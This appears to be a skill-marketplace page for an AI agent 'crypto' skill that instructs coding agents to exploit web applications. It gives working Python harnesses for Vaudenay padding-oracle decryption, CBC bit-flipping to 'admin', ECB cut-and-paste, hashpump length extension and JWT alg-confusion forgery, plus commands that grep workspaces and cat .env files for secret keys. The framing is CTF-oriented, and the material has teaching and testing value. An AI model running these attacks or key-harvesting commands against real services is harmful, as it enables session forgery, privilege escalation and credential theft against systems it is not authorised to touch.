# Crypto

> Web crypto exploitation — padding-oracle (Vaudenay), AES-CBC bit-flipping / IV manipulation, AES-ECB pattern attacks (cut-and-paste, prefix/suffix recovery), HMAC bypass, hash-length extension, JWT alg confusion. Covers detection signals, working in-file Python harnesses (concurrent.futures, timeout=5, python3 -u, bounded request budget), and the confirm-oracle gate that must fire before iteration.

- Skill: `purpleailab/crypto` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/crypto`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/crypto/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/crypto

---


# Web Crypto Exploitation

Exploits applications that misuse symmetric ciphers (CBC/ECB), MACs (HMAC, hash-length extension), or token signers (JWT). The decisive trick is almost always: **find the oracle, prove the oracle is real, then iterate within a hard request budget**. Without the proven oracle the attack burns the cycle.

## Step 0 — Key Discovery (Do Before ANY Network Attack)

**Check if the application key is hardcoded in source.** CTF challenge apps frequently embed keys in source code. If you have filesystem access to the app, run this before any network probe:

```bash
# Find app source in the workspace
find /workspace -name "*.py" -o -name "*.js" -o -name "*.rb" -o -name "*.php" 2>/dev/null | head -20

# Grep for hardcoded keys
grep -rn 'AES_KEY\|SECRET_KEY\|key\s*=\s*[b'"'"'"'"'"'"'"'"']\|password\s*=' /workspace/*/app/ 2>/dev/null | head -20

# Also check environment files
cat /workspace/*/.env 2>/dev/null; cat /workspace/*/app/.env 2>/dev/null
```

**If the key is found**, decrypt offline immediately — no oracle, no network requests:

```python
import base64
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import padding as crypto_padding

KEY = b'C' * 32  # replace with discovered key
cookie = "<base64-cookie-from-browser>"

raw = base64.b64decode(cookie)
iv, ct = raw[:16], raw[16:]
cipher = Cipher(algorithms.AES(KEY), modes.CBC(iv))
pt = cipher.decryptor().update(ct) + cipher.decryptor().finalize()
# Remove PKCS7 padding
unpadder = crypto_padding.PKCS7(128).unpadder()
plaintext = unpadder.update(pt) + unpadder.finalize()
print("plaintext:", plaintext)
```

Only proceed to the oracle-based attack below if no key is found in source.

## Recognition Signals

Trigger this skill when ANY of the following are present:

- **Base64 cookie / token whose decoded length is a multiple of 16 (AES-CBC) or 8 (DES/3DES)**. Length boundaries are the giveaway: `len(b64decode(token)) % 16 == 0` and not 32 or 48 → likely 1-2 blocks of CBC; `% 16 == 0` with 32-64 bytes → IV+ciphertext pattern.
- **Distinct error responses for "invalid padding" vs "invalid auth/decryption"**. Status code, body, length, or even response time differences across the two failure modes ARE the oracle. If the two modes look identical, no oracle.
- **JWT** in `Authorization: Bearer <three-base64-segments-separated-by-dots>`. Always inspect `alg` header (`alg=none`, `alg=HS256` with public-key confusion, `alg=RS256→HS256` substitution).
- **Repeated 16-byte ciphertext blocks** within a single token — direct ECB tell. Decode base64, slice into 16-byte blocks, look for duplicates.
- **Server returns separate encrypted blob + tag/HMAC concatenated** — candidate for HMAC bypass / hash-length extension if the MAC scheme is weak (e.g. `MD5(secret || message)`).
- **Challenge tag** includes `crypto`, `cipher`, `oracle`, `captcha`, `encrypted_captcha`, `padding`, `hmac_bypass`, `jwt`, `length_extension`.

## Confirm-Oracle Gate

**STOP** — before iterating any payload, prove the oracle is real. The single most common mis-allocation here is hammering thousands of padding-oracle requests against a server whose two error modes are actually identical. The gate is one in-file probe that issues exactly two requests and prints both responses side-by-side.

**Layout detection (run before the gate):** Decode the token and determine the IV/CT layout. AES-CBC tokens always use `IV(16) || CT(16 * N)` — the first 16 bytes are always the IV. Confirm:

```python
import base64
raw = base64.b64decode("<TOKEN>")
print(f"total bytes: {len(raw)}, blocks: {len(raw)//16}")
# len==32 → IV(16) + 1 ciphertext block (16 bytes of plaintext)
# len==48 → IV(16) + 2 ciphertext blocks (32 bytes of plaintext)
# len==64 → IV(16) + 3 ciphertext blocks (48 bytes of plaintext)
# The IV is ALWAYS raw[:16]. Ciphertext is raw[16:].
```

**Also identify the correct cookie/parameter name.** Check the response headers from a GET request to confirm the cookie name:

```bash
curl -sv "$TARGET/" 2>&1 | grep -i 'set-cookie'
```

Use that exact cookie name (e.g. `captcha`, `session`, `token`) in every subsequent request.

```bash
timeout 60 python3 -u -c '
import base64, requests, sys
URL = "https://<TARGET>/decrypt"
TOKEN = "<base64-cookie-or-token-from-recon>"
ct = bytearray(base64.b64decode(TOKEN))
# Probe A: flip the LAST byte of the SECOND-TO-LAST block (corrupts plaintext padding of last block)
flipped = bytearray(ct)
flipped[-17] ^= 0x01
# Probe B: completely random ciphertext (corrupts MAC/auth too, not just padding)
import os
random_ct = bytearray(os.urandom(len(ct)))

for label, payload in [("flip-pad", flipped), ("random", random_ct)]:
    b64 = base64.b64encode(bytes(payload)).decode()
    r = requests.get(URL, cookies={"token": b64}, timeout=5)
    sys.stdout.write(f"=== {label} === status={r.status_code} len={len(r.content)} body={r.text[:200]!r}\n")
    sys.stdout.flush()
' 2>&1 | tee oracle_gate.txt
```

**Pass criteria** (any one):
- Status code differs between flip-pad and random.
- Body length differs by ≥1 byte (after stripping timestamps).
- Response body string differs in the leading 200 chars (e.g. "Invalid padding" vs "Invalid token").
- Response time consistently differs by ≥50ms across 3 repeats (timing oracle — fragile, last resort).

If gate FAILS (no pass criterion met before the harness's outer `timeout` fires): the two failure modes are indistinguishable from the network — there is no oracle on this endpoint. Hand back to recon with "no padding oracle observable on `<endpoint>`; check other endpoints or token sinks".

If gate PASSES: continue with the targeted attack below. Capture the `flip-pad` and `random` responses as the oracle's "VALID-PAD" and "INVALID" templates.

**Oracle predicate — generic formulation (critical):**

The oracle has exactly TWO observable states: "padding valid" and "padding invalid." The INVALID state is the one consistent with fully-random ciphertext (your `random` probe above). Define your predicate as:

```python
# KNOWN_BAD = (status_code, body_prefix) from the random probe
KNOWN_BAD = (r_random.status_code, r_random.text[:200])

def valid_pad(response):
    return (response.status_code, response.text[:200]) != KNOWN_BAD
```

**Do NOT hardcode** `status == 403` or `"Invalid padding" in text` as your oracle check. Many Flask/Express apps raise uncaught exceptions (HTTP 500) when they successfully decrypt garbage plaintext that fails downstream processing (UTF-8 decode, JSON parse, session deserialization). These **500s ARE valid-pad signals** — they differ from the random-ciphertext response, so `valid_pad()` returns True correctly. If you hardcode the status check, you will treat 500s as failures and burn the entire request budget on byte positions that actually succeeded.

## 1. Padding Oracle (Vaudenay) — Full Walkthrough

Decrypt a CBC ciphertext one byte at a time by manipulating the previous block's bytes and asking the oracle whether the resulting padding is valid.

```bash
timeout 600 python3 -u -c '
import base64, concurrent.futures, requests, sys, os

URL = "http://<TARGET>/"          # adjust path/method to match the vulnerable endpoint
TOKEN = "<base64-blob>"           # base64 cookie value captured from recon
COOKIE_NAME = "captcha"          # use the EXACT cookie name from Set-Cookie header
BLOCK = 16
MAX_REQUESTS = 4096   # hard budget — abort if we hit it

# Generic oracle predicate: derive KNOWN_BAD from a random-ciphertext probe first.
# Do NOT hardcode status codes — 500s from downstream decode errors ARE valid-pad signals.
ct = base64.b64decode(TOKEN)
assert len(ct) % BLOCK == 0
blocks = [ct[i:i+BLOCK] for i in range(0, len(ct), BLOCK)]
session = requests.Session()
budget = [MAX_REQUESTS]

# Calibrate oracle: send fully-random ciphertext, record the response signature
_rand = os.urandom(len(ct))
_r = session.get(URL, cookies={COOKIE_NAME: base64.b64encode(_rand).decode()}, timeout=5)
KNOWN_BAD = (_r.status_code, _r.text[:200])
sys.stdout.write(f"KNOWN_BAD (random ciphertext) = {KNOWN_BAD}\n"); sys.stdout.flush()

def is_valid_pad(forged_iv, target_block):
    """Returns True if oracle says padding is valid (response differs from KNOWN_BAD)."""
    if budget[0] <= 0:
        raise RuntimeError("request budget exhausted")
    budget[0] -= 1
    blob = base64.b64encode(forged_iv + target_block).decode()
    r = session.get(URL, cookies={COOKIE_NAME: blob}, timeout=5)
    return (r.status_code, r.text[:200]) != KNOWN_BAD

def crack_block(prev, target):
    """Recover plaintext of `target` by manipulating `prev`."""
    intermediate = bytearray(BLOCK)
    for byte_idx in range(BLOCK - 1, -1, -1):
        pad_value = BLOCK - byte_idx
        # Try every possible byte at byte_idx until oracle reports valid padding
        forged = bytearray(BLOCK)
        for k in range(byte_idx + 1, BLOCK):
            forged[k] = intermediate[k] ^ pad_value
        # Parallelize the 256-byte search (bounded workers)
        with concurrent.futures.ThreadPoolExecutor(max_workers=16) as ex:
            futures = {}
            for guess in range(256):
                f = bytearray(forged)
                f[byte_idx] = guess
                futures[ex.submit(is_valid_pad, bytes(f), target)] = guess
            for fut in concurrent.futures.as_completed(futures):
                if fut.result():
                    intermediate[byte_idx] = futures[fut] ^ pad_value
                    break
            else:
                raise RuntimeError(f"no valid pad found at block byte_idx={byte_idx}")
    plaintext = bytes(intermediate[i] ^ prev[i] for i in range(BLOCK))
    return plaintext

recovered = b""
# block 0 is the IV; decrypt blocks 1..N using their predecessors as "prev"
for i in range(1, len(blocks)):
    sys.stdout.write(f"=== decrypting block {i} (budget left {budget[0]}) ===\n")
    sys.stdout.flush()
    pt = crack_block(blocks[i-1], blocks[i])
    sys.stdout.write(f"block {i} plaintext: {pt!r}\n")
    sys.stdout.flush()
    recovered += pt

sys.stdout.write(f"=== full plaintext: {recovered!r} ===\n")
' 2>&1 | tee padding_oracle.txt
```

**Request budget per block**: 16 bytes × 256 guesses = 4096 requests worst case (this is the algorithm's hard upper bound for one CBC block under Vaudenay; not a tunable). Parallelism reduces wall-clock but does not reduce the request count. Do NOT push `max_workers` past the sandbox throttling threshold (around 32 — higher values trigger rate-limit WAF rules and crash the single-threaded dev servers most CTF challenges use).

**First-block verification**: the FIRST plaintext block is the diagnostic — if it has not returned after a reasonable harness run AND the request budget has not yet been exhausted, KILL the harness and revisit:
- Is the oracle predicate right? Print `KNOWN_BAD` and a few live responses — verify `(status, body[:200]) != KNOWN_BAD` fires on valid-pad cases.
- Is parallelism throttled by the server (rate limit, WAF, session lock)? Drop `max_workers` to 4 and rerun.
- Is the budget exhausted before any block? Increase `MAX_REQUESTS`, or accept this server is too slow and switch to a non-oracle attack.

## 2. CBC Bit-Flipping

When the application decrypts CBC and trusts the plaintext (e.g. role flag in a cookie), flipping bytes in block N's ciphertext flips the same bytes in block N+1's plaintext (block N+1 itself is corrupted to garbage).

```python
# Known plaintext at position i → desired plaintext at position i.
# Flip ct[block_n][offset] ^= known_pt[i] ^ desired_pt[i]
import base64
TOKEN = "<base64>"
ct = bytearray(base64.b64decode(TOKEN))
# E.g. flip "user=guest" → "user=admin" inside block 1, byte 5
KNOWN, DESIRED = b"guest", b"admin"
for i in range(min(len(KNOWN), len(DESIRED))):
    ct[i + 5] ^= KNOWN[i] ^ DESIRED[i]
print(base64.b64encode(bytes(ct)).decode())
```

Block N is destroyed by the flip — make sure block N's plaintext is one the application doesn't sanity-check (e.g. timestamp / nonce that's never read).

## 3. AES-ECB Attacks

### Pattern detection
Two identical 16-byte plaintext blocks produce two identical 16-byte ciphertext blocks under ECB. Detect:

```python
import base64
ct = base64.b64decode("<TOKEN>")
blocks = [ct[i:i+16] for i in range(0, len(ct), 16)]
print("blocks:", len(blocks), "unique:", len(set(blocks)))
# unique < total → ECB confirmed
```

### Cut-and-paste

If the application encrypts `<attacker-controlled prefix> | <user-data> | <suffix>` under ECB and lets the attacker register/login multiple times, you can capture aligned blocks containing chosen plaintext (e.g. `admin\x0b\x0b\x0b...`) and splice them into another user's token.

```python
# 1. Register a user whose name positions "admin" + valid PKCS7 padding into a clean block.
# 2. Capture that ciphertext block.
# 3. Register a normal user. Capture their token.
# 4. Replace the block holding "user" with the block holding "admin".
# 5. Submit forged token.
```

### Prefix/suffix recovery

If you can prepend bytes to a secret suffix (e.g. flag) that the server encrypts under ECB:

1. Find block size: vary prefix length, watch for first response-length jump of `BLOCK_SIZE`.
2. Per byte: send `"A"*(BLOCK_SIZE-1)`, capture block, then for each `g in 0..255` send `"A"*(BLOCK_SIZE-1) + g`, compare blocks — match reveals the byte.
3. Slide the prefix one byte left and repeat until the secret is exhausted.

## 4. HMAC / Signature Bypass

### Hash-length extension

If the MAC is `MD5(secret || message)` or `SHA1(secret || message)` (no HMAC construction), and you know `len(secret) + len(message)` and the MAC, you can append data and compute a valid MAC without knowing the secret. Tooling: `hashpump` or `hash-length-attack` (Python).

```bash
# hashpump: append "&admin=true" to a signed message
hashpump -s <orig_mac> -d "<orig_message>" -k <secret_len_guess> -a "&admin=true"
```

### JWT alg confusion

- **`alg=none`**: strip signature, set header `{"alg":"none","typ":"JWT"}`, set payload, send `<header>.<payload>.` (empty signature). Many libraries accept it.
- **`alg=HS256` w/ public-key confusion**: server uses `verify(token, public_key)`. Re-sign the token with HMAC-SHA256 keyed by the server's RSA public key (PEM bytes). Same library now mistakes "HS256" for "RS256" verification using the public key as the HMAC key.
- **`alg=RS256→HS256` substitution**: same as above — flip the alg header in the token.

```python
import base64, hashlib, hmac, json
HEADER = base64.urlsafe_b64encode(json.dumps({"alg":"HS256","typ":"JWT"}).encode()).rstrip(b"=")
PAYLOAD = base64.urlsafe_b64encode(json.dumps({"user":"admin"}).encode()).rstrip(b"=")
PUBKEY_PEM = open("server_public.pem","rb").read()
sig = hmac.new(PUBKEY_PEM, HEADER + b"." + PAYLOAD, hashlib.sha256).digest()
SIG = base64.urlsafe_b64encode(sig).rstrip(b"=")
print((HEADER + b"." + PAYLOAD + b"." + SIG).decode())
```

## Anti-Patterns (Do NOT)

- **No unbounded loops** in oracle harnesses. Always set `MAX_REQUESTS` and abort when it hits zero. A misconfigured oracle template can run forever otherwise.
- **No `python3 detector.py > /tmp/log 2>&1 &` + `tail -f`** — if tmux pipe degrades the tail returns nothing forever and you cannot tell whether the script is alive. Prefer inline `timeout 600 python3 -u -c '...' | tee log.txt`.
- **No `while True: r = requests.get(...)`**. Wrap every loop with a max-iterations bound and break on success.
- **Do not iterate variants before the confirm-oracle gate fires positive.** That single discipline rule eliminates the most common cycle burn on crypto challenges.
- **Always `python3 -u`** for line-buffered stdout. Without it, you cannot tell live progress from a wedge.
- **Bounded `max_workers`** on `concurrent.futures.ThreadPoolExecutor`. 16 is plenty for the 256-byte search; >32 triggers sandbox throttling and rate-limit WAF rules.
- **Set `requests.Session()` timeout=5** on EVERY call (not just the gate).
- **No mid-flight edits.** If a harness is producing byte-by-byte progress output, let it finish. If you need a follow-up step (e.g. submit the recovered plaintext), write a SEPARATE script that reads the output and submits it. Never `edit_file` on a script that is currently producing results — the restart loses intermediate state, generates a new challenge session (new captcha/cookie), and invalidates everything already recovered.
- **Atomic pipeline.** Probe → decrypt → submit must all use the SAME session cookie in ONE script invocation. Do not split these into separate runs. A new GET request generates a new encrypted captcha — the old recovered plaintext will not match.
- **Single-process discipline.** The target is typically a single-threaded dev server (Flask/Express). Running multiple concurrent oracle scripts WILL crash it. Before launching the padding oracle harness, kill ALL other Python scripts hitting the target: `pkill -f 'python3.*<port_or_target>' 2>/dev/null`. One harness at a time.

## Tooling Note

In sandbox: `python3` (with `requests`, `cryptography`, `pycryptodome`), `hashpump`, `openssl`. NO `padbuster.pl` (Perl is not installed). Build padding-oracle attacks with the harness above, not a third-party CLI.

## Verification

Crypto attacks are confirmed when:
- **Padding oracle**: at least the FIRST plaintext block is recovered AND it is human-readable plaintext (cookie payload, session JSON, etc.). If block 1 returns garbage, the oracle template is wrong — KILL and re-derive.
- **CBC bit-flip**: the forged token successfully impersonates the target role/user (e.g. `/admin` returns admin content) AND a baseline-unflipped token does NOT.
- **ECB cut-and-paste**: the spliced token produces the privileged response on a fresh login (≥3 reproductions).
- **JWT alg confusion**: the forged JWT is accepted on a privileged endpoint that rejects an unsigned/garbage JWT.
- **Hash-length extension**: appended fields are honored by the server (e.g. `admin=true` flips role) AND the MAC validates without the secret.

## Output Files

```
./
├── oracle_gate.txt                 # Confirm-oracle gate output (PASS/FAIL evidence)
├── padding_oracle.txt              # Vaudenay run log + recovered plaintext
├── ecb_blocks_<target>.txt         # ECB block analysis (uniqueness, repeats)
├── jwt_forged_<target>.txt         # Forged JWT + verification trace
└── crypto_<target>_summary.md      # What was tried, gate result, evidence trail
```

